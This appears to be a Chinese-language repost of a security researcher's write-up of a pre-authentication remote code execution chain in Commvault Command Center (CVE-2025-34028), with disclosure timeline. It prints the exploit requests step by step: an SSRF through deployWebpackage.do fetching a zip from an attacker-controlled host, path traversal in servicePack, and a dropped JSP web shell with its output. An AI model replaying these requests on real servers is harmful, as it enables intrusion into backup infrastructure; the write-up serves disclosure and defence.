Commvault它是什么?
Commvault 自称是数据保护或网络弹性解决方案;撇开花哨的词语不谈,产品市场评论网站将 Commvault 归类为企业备份和复制套件。这种读取能力告诉我们,Commvault 提供了集成并支持广泛的技术,包括云提供商、数据库、SOAR、虚拟机管理程序等。
为了了解使用 Commvault 解决方案的客户类型,我们可以随意浏览他们的客户案例和标志——很快就会发现,他们软件的目标受众包括大型企业、MSP 和 human sweatshops。
总而言之,Commvault 作为一个解决方案,我们不禁要附和他们的观点——一个自信地将自己定位在现代数据保护前沿的平台:
作为您值得信赖的合作伙伴,Commvault 坚固的零信任协议保护着业务数据的核心,同时满足政府机构和企业最严格的安全标准。
嘿嘿,零信任。
我们探索得越多,Commvault 的备份和恢复解决方案就越是作为一个有吸引力的软件目标,适合恶作剧/安全研究。幸运的是,它有两种版本:一种是“SaaS”产品,另一种是更有趣的本地部署版本。
展开蓝图
我们安装了其 Windows 本地部署版本的最新版本,特别是 Innovation Release 11.38.20 版本。
与所有大型设备/应用程序一样,找到我们可以与之交互的功能是关键。虽然在这个环境中运行着几个服务,例如:
-
IIS - 端口 81/TCP -
IIS - 端口 82/TCP -
核心应用程序 - 端口 443/TCP -
Apache Solr - 端口 20000/TCP
为了定位端口 443 上暴露的来源,通过一系列 Windows 命令,我们可以精确地说,主应用程序正在从驱动器 F:/
的 Tomcat.exe
进程运行
C:\Users\Administrator>netstat -ano | findstr :443 TCP 0.0.0.0:4430.0.0.0:0 LISTENING 3112 TCP [::]:443 [::]:0 LISTENING 3112----C:\Users\Administrator>tasklist /fi "pid eq 3112" /vImage Name PID Session Name Session# Mem Usage Status User Name CPU Time Window Title========================= ======== ================ =========== ============ =============== ================================================== ============ ========================================================================tomcat.exe 3112 Services 01,544,332 K Unknown NT AUTHORITY\NETWORK SERVICE 0:01:44 N/AC:\Users\Administrator>wmic process where processid="3112"get executablepathExecutablePathF:\Program Files\Commvault\ContentStore\Apache\bin\tomcat.exe
当我们尝试访问我们新部署的实例时,系统会提示我们创建管理员用户。随后,出乎意料且令人恼火的是,我们遇到了第一个障碍:登录面板。
侦察现场
在对应用程序进行漏洞逆向工程时,这是一个过程;它需要遍历各个环节以找到其路径和端点,并问自己一个非常重要的问题——你如何与应用程序交互?
这与 Nginx、Apache、Node 等不同,但在本例中,最初的接触是与 Apache Tomcat 进程进行的,其配置位于其 server.xml
中。
看看下面的 server.xml
摘录,我们可以将 Tomcat 应用程序 Context paths
与其 docBase
相关联,这告诉我们磁盘上每个路由的相关文件在哪里。我们正在取得进展!
Context path="" docBase="F:/Program Files/Commvault/ContentStore/Apache/webapps/ROOT" reloadable="false"><Managerpathname=""/> </Context> <Context path="/console" docBase="F:/Program Files/Commvault/ContentStore/GUI" reloadable="false"> <Manager pathname=""/> </Context> <Context path="/downloads/sqlscripts" docBase="F:/Program Files/Commvault/ContentStore/Metrics/scripts" reloadable="false"> <Manager pathname=""/> </Context> <Context path="/publicdownloads/sqlscripts" docBase="F:/Program Files/Commvault/ContentStore/Metrics/public" reloadable="false"> <Manager pathname=""/> </Context> <Context path="/commandcenter" docBase="F:/Program Files/Commvault/ContentStore/AdminConsole" reloadable="false"> <Manager pathname=""/> <Resource name="BeanManager" auth="Container" type="javax.enterprise.inject.spi.BeanManager" factory="org.jboss.weld.resources.ManagerObjectFactory"/> </Context> <Context path="/identity" docBase="F:/Program Files/Commvault/ContentStore/identity" reloadable="false"> <Manager pathname=""/> </Context> <Context path="/CustomReportsEngine" docBase="F:/Program Files/Commvault/ContentStore/CustomReportsEngine" reloadable="false"> <Manager pathname=""/> </Context> <Context path="/reports" docBase="F:/Program Files/Commvault/ContentStore/Reports" reloadable="false"> <Manager pathname=""/> </Context> </Host> </Engine>
考虑到应用程序在身份验证阶段的启动方式,主应用程序位于 /commandcenter
中,它遵循典型的 Tomcat 结构,包含 web.xml
和 WEB-INF
目录等。
使用我们最喜欢的 HTTP 代理进行未经身份验证的浏览时,我们看到几个对使用 .do
扩展名的端点的请求,这通常表明使用了 Apache Struts 框架 - 但在 Commvault 的情况下似乎并非如此,因为没有 struts.xml
列出所有 .do
或 .action
端点。
当查看 web.xml
时,也没有 .do
端点的确切映射,有一个 context-param
用于 scanPackage
,它查看特定的类路径。
猜测一下,它可能是在寻找以某种方式注册路由的包。
有时,在逆向工程中,从源到汇可能很麻烦,所以为了加快这个过程,我们可以通过反编译 lib
目录中的所有 .jar
和 .class
文件,并寻找我们 .do
知道的端点来逆向工作。
<context-param><param-name>scanPackage</param-name><param-value>commvault.web,commvault.cvmvc</param-value></context-param>
在成功反编译所有库之后,我们可以通过它们来 grep 查找我们已经在 HTTP 代理中观察到的路径 ( sloCallBack.do
)。一旦我们遇到一个例子,它就开始解释路由是如何实例化的:
这是一个来自 cv-ac-core.jar
的相对简单的例子:路径 sloCallBack.do
及其 requestMethod
被映射到函数 SLOCallBack
。
@RequestHandlerMethod( url = "sloCallBack.do", requestMethod = {RequestMethod.GET, RequestMethod.POST} ) public void SLOCallBack(HttpSession session, HttpServletRequest request, HttpServletResponse response) throws IOException {String receivedRelayStateParam = request.getParameter("cvRelay");if (SSOLoginUtils.externalSiteLogoutEnabled(session)) {this.loginService.handleExternalLogout(request, response); } else { boolean logoutSuccessStatus = StringUtils.equals(request.getParameter("LogoutErrorCode"), "0"); SSOLoginUtils.doClientLogoutAndRedirectToIntendedPage(request, response, logoutSuccessStatus); } }
在用一些正则表达式技巧从反编译的库中提取所有路由后,我们继续在目标实例上进行测试,看看会发生什么。
然而,我们很快意识到存在某种程度的身份验证,因为大多数路由都会返回状态码 302
并将我们重定向以通过 /commandcenter/login/preSso.jsp.
进行身份验证
由于我们知道某些路由的关键字可以访问,因为它们没有重定向响应,我们在 ContentStore/AdminConsole/WEB-INF/classes/authSkipRules.xml
中发现了一个方便命名的文件,其中包含一个排除在身份验证过滤器之外的端点列表,总共有 58 个端点!
legalNotice.dossoLogin.dologin.dofeedback.docontact.do[..Truncated..]metricsUpload.dowebpackage.dodeployWebpackage.dodeployServiceCommcell.do
我们可以通过请求这些端点来验证这一点。
结果各不相同,但关键是,它们与重定向到身份验证 /commandcenter/login/preSso.jsp
的结果不同。
响应不需要身份验证:( /commandcenter/proxy.do
)
HTTP/1.1900Strict-Transport-Security: max-age=31536000;includeSubDomainsX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockSet-Cookie: JSESSIONID=331AB64D9DCB1A2684D0CD475CE7192E; Path=/commandcenter; Secure; HttpOnlyX-Frame-Options: SAMEORIGINPermissions-Policy: accelerometer=(); geolocation=(); gyroscope=(); microphone=(); payment=();X-UA-Compatible: IE=Edge,chrome=1Referrer-Policy: strict-origin-when-cross-origintrace-id: fb3aaf23d74cd149ba827375f6e29e58Set-Cookie: csrf=3e2d4412f5244bdca11f9027def59a6b; Path=/commandcenter; SecureCache-Control: no-storevary: accept-encodingContent-Type: text/html;charset=UTF-8Content-Language: en-USDate: Tue, 22 Apr 202515:00:08 GMTServer: Commvault WebServerContent-Length: 11737
需要身份验证的响应: /commandcenter/cappsSubclients.do
HTTP/1.1302Strict-Transport-Security: max-age=31536000;includeSubDomainsX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockSet-Cookie: JSESSIONID=CC45DD745D6571C778ADE996D3C5654E; Path=/commandcenter; Secure; HttpOnlyX-Frame-Options: SAMEORIGINPermissions-Policy: accelerometer=(); geolocation=(); gyroscope=(); microphone=(); payment=();X-UA-Compatible: IE=Edge,chrome=1Referrer-Policy: strict-origin-when-cross-origintrace-id: b966805d19ad0f23c7a164b4c811a922Location: /commandcenter/login/preSso.jspContent-Length: 0Date: Tue, 22 Apr 202514:54:29 GMT
部署软件包,嗯?
和所有研究一样,我们必须有明确的目标;通常,在 watchTowr 风格的漏洞研究中,我们有两个主要目标,类似于“PoC or GTFO”,我们完全遵循:
-
是否已预先验证? -
它是远程代码执行吗?
在找到了我们可以审查以满足第一个条件的端点和功能后,我们的任务是满足关键的影响点,即在上述已识别的端点和功能中进行远程代码执行。
预先验证的端点列表足够短,可以从源头到接收器进行审计,直到我们找到有趣的东西,但如果我们没有直接选择那些用我们听不懂的语言说话的东西,我们就是在撒谎 - deployWebpackage.do
。 - 这看起来有潜力勾选 CVSS 评分的完整性框
该端点看起来相对简单,是一个 POST
请求,它期望 3 个参数 commcellName
、 servicePack
和 version
:
@RequestHandlerMethod( url = "deployWebpackage.do", requestMethod = {RequestMethod.POST} ) public void deployWebPackage(@ReqParam(required = true) String commcellName, @ReqParam(required = true) String servicePack, @ReqParam(required = true) String version) throws Exception {this.ccDeploySerivce.deployWebPackage(commcellName, servicePack, version); }
一个示例请求如下所示:
POST /commandcenter/deployWebpackage.do HTTP/1.1Host: {{Hostname}}X-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencodedContent-Length: 112commcellName=commcellNameValue&servicePack=servicePackValue&version=versionValue
深入研究其功能,我们发现 ccDeploySerivce.deployWebPackage
中存在服务器端请求伪造的可能性,这让我们大开眼界。
public void deployWebPackage(String commcellName, String servicePack, String version) throws Exception { CloseableHttpClient client = null;try {if (this.cvConfig.getDisableSSLForCCPackageDeploy()) { client = HttpClientBuilder.create().setSSLContext((new SSLContextBuilder()).loadTrustMaterial((KeyStore)null, (x509Certificates, s) -> {returntrue; }).build()).setSSLHostnameVerifier(NoopHostnameVerifier.INSTANCE).build(); } else { client = HttpClients.createDefault(); }String BASE_PATH = this.extractPath(this.fileZipUtil.getResourcePath(""), false); HttpGet request = new HttpGet("https://" + commcellName + "/commandcenter/webpackage.do"); <---- [0] request.addHeader("Accept", "application/octet-stream"); CloseableHttpResponse response = client.execute(request); <---- [1]
如你所见,如上
-
在 [0]
,我们的参数commcellName
被连接成一个 URL 作为主机名, -
在 [1]
,服务器向这个构造的 URL 执行一个 HTTP 请求。
一个非常直接的预认证服务器端请求伪造 (SSRF) 漏洞,因为没有对可以与之通信的主机进行过滤。
POST /commandcenter/deployWebpackage.do HTTP/1.1Host: {{Hostname}}X-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencodedContent-Length: 112commcellName=External-Controlled-Host.com&servicePack=watchTowr&version=xGET /commandcenter/webpackage.do HTTP/1.1Accept: application/octet-streamHost: {{External-Controlled-Host.com}}Connection: Keep-AliveUser-Agent: Apache-HttpClient/4.5.14 (Java/21.0.5)Accept-Encoding: gzip,deflate
升级影响!
这很酷,但它不是 RCE。
下面的代码块呢?我们可以看到很多关键文件写入函数被调用,例如 FileOutputStream
和 BufferedOutputStream
,也许它会把我们的 SSRF 扩展到更有影响力的东西。
try { InputStream in = response.getEntity().getContent(); <---- [2] String confPath = BASE_PATH + File.separator + "Apache" + File.separator + "conf" + File.separator + "ccPackages" + File.separator; String distCCPath = BASE_PATH + File.separator + "AdminConsole" + File.separator + "dist-cc-sps" + File.separator; File confDirectory = this.createDirectory(confPath + servicePack); <---- [3] String var10002 = confDirectory.getAbsolutePath(); File versionFile = new File(var10002 + File.separator + "version.txt"); FileUtils.writeStringToFile(versionFile, version, StandardCharsets.UTF_8, false); this.createDirectory(distCCPath); BufferedInputStream bis = new BufferedInputStream(in); <---- [4] try { FileOutputStream fos = new FileOutputStream(new File(confDirectory, "dist-cc.zip")); <---- [5] try { BufferedOutputStream bos = new BufferedOutputStream(fos); try { byte[] buffer = new byte[1024]; int read; while((read = bis.read(buffer)) != -1) { bos.write(buffer, 0, read);[...Truncated...] bis.close(); this.deployCCPackage(servicePack); <---- [6] logger.info("Deployed web package successfully");
通常,在安全测试中,您希望功能尽可能成功,从而打开攻击面,使其能够进行更广泛和更深入的处理。
附加调试器并跟随执行过程,可以让我们看到哪些时间点失败,以及在哪里可以修正我们的有效载荷以获得最大的成功。
这个特定的函数从 [2]
开始,我们可以在这里观察到来自 SSRF 请求的响应被存储到 InputStream
变量 in
中。
通过调试器进一步查看代码,我们注意到一些目录是使用我们在 HTTP POST 请求参数 servicePack
在 [3]
中定义的值设置的 - 然而它恰好被一个异常捕获,并出现以下错误:
java.io.IOException: Failed to create directory /F:/Program Files/Commvault/ContentStore/\Apache\conf\ccPackages\hello
我们很快意识到,预先设定的目录 ccPackages
在 /Apache/
目录中不存在,这导致它失败。
也许在使用此功能的自然流程中,该目录是在环境中创建的:
然而,带着攻击性的思维,我们可以快速地绕过 [3]
和这个错误,通过在 servicePack
参数中使用几个路径遍历,消除这个障碍,因为我们现在进入了一个已存在的目录:
POST /commandcenter/deployWebpackage.do HTTP/1.1Host: {{Hostname}}X-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencodedContent-Length: 112commcellName=External-Controlled-Host.com&servicePack=../../Hello&version=x
随着该函数继续执行,代码开始流经文件写入操作。例如:
-
[4
] 之前存储的 SSRF 响应现在被加载到BufferedInputStream.
中 -
[5]
在[5]
处创建一个新文件,具体来说,是dist-cc.zip
。 -
一个 while
循环然后开始处理将此数据写入磁盘。
跳出调试器片刻,我们可以看到在文件系统上的 F:\\Program Files\\Commvault\\ContentStore\\Apache\\hello
处创建了一个目录,其中包含有趣的内容。
此目录中有两个文件:
-
version.txt -
其内容由我们在 HTTP 请求中提供的 version
参数的值组成。
-
-
dist-cc.zip -
虽然它不是一个有效的 zip 文件,我们无法从中提取任何内容;但是,在记事本中打开它会显示我们通过 commcellName
参数在外部控制的服务器中提供的 HTTP 响应的内容。
-
下面为了清晰起见,展示了在记事本中打开的每个文件:
正如之前提到的,成功的关键是尽可能完整地执行函数,或者尽可能接近完成;在这种情况下,我们进入最终函数。
private void deployCCPackage(String servicePack) throws IOException {String BASE_PATH = this.extractPath(this.fileZipUtil.getResourcePath(""), false);String CC_DEPLOY_PATH = BASE_PATH + File.separator + "Apache" + File.separator + "conf" + File.separator + "ccPackages" + File.separator;String DIST_CC_PATH = BASE_PATH + File.separator + "AdminConsole" + File.separator + "dist-cc-sps" + File.separator;String TEMP_DIR = servicePack + ".tmp" + File.separator + "dist-cc";String SERVICEPACK_DEPLOY_PATH = DIST_CC_PATH + servicePack + ".tmp"; <---- [7] File dir = new File(SERVICEPACK_DEPLOY_PATH); if (dir.exists()) { FileUtils.deleteDirectory(dir); } this.fileZipUtil.unzipFileWrtAbsPath(CC_DEPLOY_PATH + servicePack + File.separator + "dist-cc.zip", DIST_CC_PATH + TEMP_DIR); <---- [8]
函数 deployCCPackage
的开始纯粹是一个初始化阶段,即为函数的其余部分设置目录和文件路径。有趣的是,尽管如此,查看 [7]
,我们可以快速看到一个新的目录被设置为 .tmp
后缀;调试输出显示位置为
/F:/Program Files/Commvault/ContentStore/\\AdminConsole\\dist-cc-sps\\../../hello.tmp
然后,该函数获取 dist-cc.zip
的内容并将其解压缩到之前创建的临时目录中。 [8]
/F:/Program Files/Commvault/ContentStore/\Apache\conf\ccPackages\../../Hello.tmp\dist-cc
导致一个包含以下内容的临时目录:
PS F:\Program Files\Commvault\ContentStore> tree /f .\Hello.tmp\Folder PATH listing for volume CVLTF:\PROGRAM FILES\COMMVAULT\CONTENTSTORE\HELLO.TMP version.txtNo subfolders exist
到目前为止,我们控制的外部服务器的内容,将其响应注入此函数,一直是通用的 HTML 内容;现在是时候使用一个包含恶意 .jsp
文件的 zip 文件,看看我们是否可以实现远程代码执行的初始目标。
隐蔽的压缩!
总结一下,在我们完成抢劫之前:
-
我们向 /commandcenter/deployWebpackage.do
发送一个 HTTP 请求 -
这迫使 Commvault 实例从我们外部控制的服务器获取一个 ZIP 文件。 -
这个 zip 文件的内容被解压到我们控制的 .tmp
目录中。
理论上的胜利之路是:
-
创建一个包含恶意 .jsp
文件的 zip 文件 -
通过端点 /commandcenter/webpackage.do
[0]
在外部 HTTP 服务器上托管此 zip 文件 -
使用 servicePack
参数遍历.tmp
目录到服务器上预先身份验证的目录,例如../../Reports/MetricsUpload/shell
。我们可以通过参考本文开头的server.xml
摘录来确定这一点。
<Context path="/reports" docBase="F:/Program Files/Commvault/ContentStore/Reports" reloadable="false"><Managerpathname=""/></Context>
-
通过 /commandcenter/deployWebpackage.do
执行 SSRF,看看我们的 shell 是否解压缩。 -
从 /reports/MetricsUpload/shell/.tmp/dist-cc/dist-cc/shell.jsp
执行我们的 shell
完整请求:
POST /commandcenter/deployWebpackage.do HTTP/1.1Host: {{Hostname}}X-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencodedContent-Length: 112commcellName=external-host.com&servicePack=../../Reports/MetricsUpload/shell/&version=watchTowr
与攻击者控制的外部服务器交互,zip 文件从我们的端点 /commandcenter/webpackage.do
下载,我们可以仔细检查 shell 是否被解压到位:
PS F:\Program Files\Commvault\ContentStore\Reports\MetricsUpload\shell> tree /FFolder PATH listing for volume CVLTF:.└───.tmp │ version.txt │ └───dist-cc └───dist-cc │ watchTowr.jsp │ └───ccApp index.html
现在,只需触发我们的 shell...
GET /reports/MetricsUpload/shell/.tmp/dist-cc/dist-cc/watchTowr.jsp HTTP/1.1Host: {{Hostname}}HTTP/1.1200Strict-Transport-Security: max-age=31536000;includeSubDomainsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockSet-Cookie: JSESSIONID=49A48BB65CF9B96A0D691D545FB26911; Path=/reports; Secure; HttpOnlyContent-Type: text/plain;charset=UTF-8Content-Length: 607Date: Thu, 17 Apr 202502:19:18 GMTServer: Commvault WebServer2l8 b4by, watchTowr was hereSERVER INFORMATION:------------------Server Info: Apache Tomcat/10.1.31Remote IP: 192.168.1.1Session ID: 49A48BB65CF9B96A0D691D545FB26911Timestamp: Thu Apr 1702:19:18 UTC 2025
就这样,Commvault 中的预身份验证远程代码执行。
对这次成功感到高兴,我们检查了这个控制器内的并行端点, deployServiceCommcell.do
,它是 deployWebpackage.do
的并行镜像,利用了 updateDeployPackages
函数,但有一个关键的区别!
按照之前的格式,端点在 RequestHandlerMethod
中表示,端点 deployServiceCommcell.do
是一个 POST
方法。
@RequestHandlerMethod( url = "deployServiceCommcell.do", requestMethod = {RequestMethod.POST} ) public void deployServiceCommcell(HttpServletRequest request) throws Exception {this.ccDeploySerivce.updateDeployPackages(request); }public void updateDeployPackages(HttpServletRequest request) {try { Collection<Part> parts = request.getParts();String servicePack = "";String version = ""; InputStream fileContent = null; Iterator var6 = parts.iterator();while(true) {String fieldValue;while(var6.hasNext()) { Part part = (Part)var6.next();if (part.getContentType() != null && part.getContentType().startsWith("text")) { fieldValue = IOUtils.toString(part.getInputStream(), StandardCharsets.UTF_8);if (part.getName().contentEquals("servicePack")) { servicePack = "SP" + fieldValue; } elseif (part.getName().contentEquals("version")) { version = fieldValue; } } elseif (part.getContentType() != null && part.getContentType().startsWith("application/octet-stream")) { fileContent = part.getInputStream(); <---- [9] } } if (fileContent != null && !CVCoreUtil.isNullOrEmpty(version) && !CVCoreUtil.isNullOrEmpty(servicePack)) { String BASE_PATH = this.extractPath(this.fileZipUtil.getResourcePath(""), false); String DIST_CC_PATH = BASE_PATH + File.separator + "AdminConsole" + File.separator + "dist-cc-sps" + File.separator; fieldValue = BASE_PATH + File.separator + "Apache" + File.separator + "conf" + File.separator + "ccPackages" + File.separator; File confDirectory = this.createDirectory(fieldValue + servicePack); this.createDirectory(DIST_CC_PATH); File servicePackFolder = new File(DIST_CC_PATH + servicePack); File versionFile; String var10002; if (servicePackFolder.exists()) { var10002 = servicePackFolder.getPath(); versionFile = new File(var10002 + File.separator + "version.txt"); if (versionFile.exists()) { String currentVersion = (new String(Files.readAllBytes(Paths.get(versionFile.getPath())))).trim(); if (currentVersion.compareTo(version) >= 0) { logger.debug("No CC deploy needed as latest version is already deployed."); return; } } } var10002 = confDirectory.getAbsolutePath(); versionFile = new File(var10002 + File.separator + "version.txt"); FileUtils.writeStringToFile(versionFile, version, StandardCharsets.UTF_8, false); FileOutputStream out = new FileOutputStream(new File(confDirectory, "dist-cc.zip")); try { byte[] buffer = new byte[1024]; int len; while((len = fileContent.read(buffer)) != -1) { out.write(buffer, 0, len); } } catch (Throwable var16) { try { out.close(); } catch (Throwable var15) { var16.addSuppressed(var15); } throw var16; } out.close(); this.deployCCPackage(servicePack); <---- [10]
接下来进入 updateDeployPackages
,我们可以看到与我们已经分析过的几乎相同的结构,除了在这种情况下,zip 文件是从 multipart 请求 [9]
中读取的,然后被推入易受攻击的函数 deployCCPackage
[10]
。这使得威胁行为者可以利用可能代理外部 HTTP 请求的环境。
检测工件生成器
我们创建了一个检测工件生成器,以查看您的实例是否在使用 deployServiceCommcell.do
中的直接上传方法时存在漏洞。
poc 地址:https://github.com/watchtowrlabs/watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028
与 Commvault 通讯
我们联系了 Commvault PSIRT,他们一直很乐于合作,告知了他们在 2025 年 4 月 7 日发现的远程代码执行漏洞(我们通过 SSRF <> 任意文件写入实现)。
导致补丁于 2025 年 4 月 10 日发布,并在 2025 年 4 月 17 日发布了安全公告 - https://documentation.commvault.com/securityadvisories/CV_2025_04_1.html。
Commvault 发布的文章详细介绍了受影响和已修复的版本表,如下所示:
产品 | 平台 | 受影响版本 | 已修复版本 | 状态 |
---|---|---|---|---|
|
|
|
|
|
Commvault PSIRT 已经沟通,此漏洞特别影响他们的 Innovation Release,该版本似乎维护了 Commvault 解决方案的尖端功能;易受攻击的功能显然只是最近才添加的。
尽管如此,从报告到修补和发布公告的周转时间在我们看来必须是破纪录的!(1 周!)
诚然,我们最初对 Commvault 公告中突出显示的受影响版本感到担忧——我们已在版本 11.38.20
中报告了这些漏洞——但奇怪的是,Commvault 将此版本列为已修补。
我们告知了 Commvault,我们已经测试了 11.38.5
和 11.38.20
,并在 4 月 9 日请求了明确的受影响版本范围,Commvault 在 4 月 10 日的快速响应证实了我们已经知道的事情——我们通常是错的。
“我们已经在当前支持的技术预览版本(11.38.20 及以上)中修复了此问题。”
时间线
|
|
---|---|
|
|
|
11.38.20 披露 |
|
|
|
|
|
11.38.20 及以上版本的修复程序 |
|
|
|
|
|
|
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论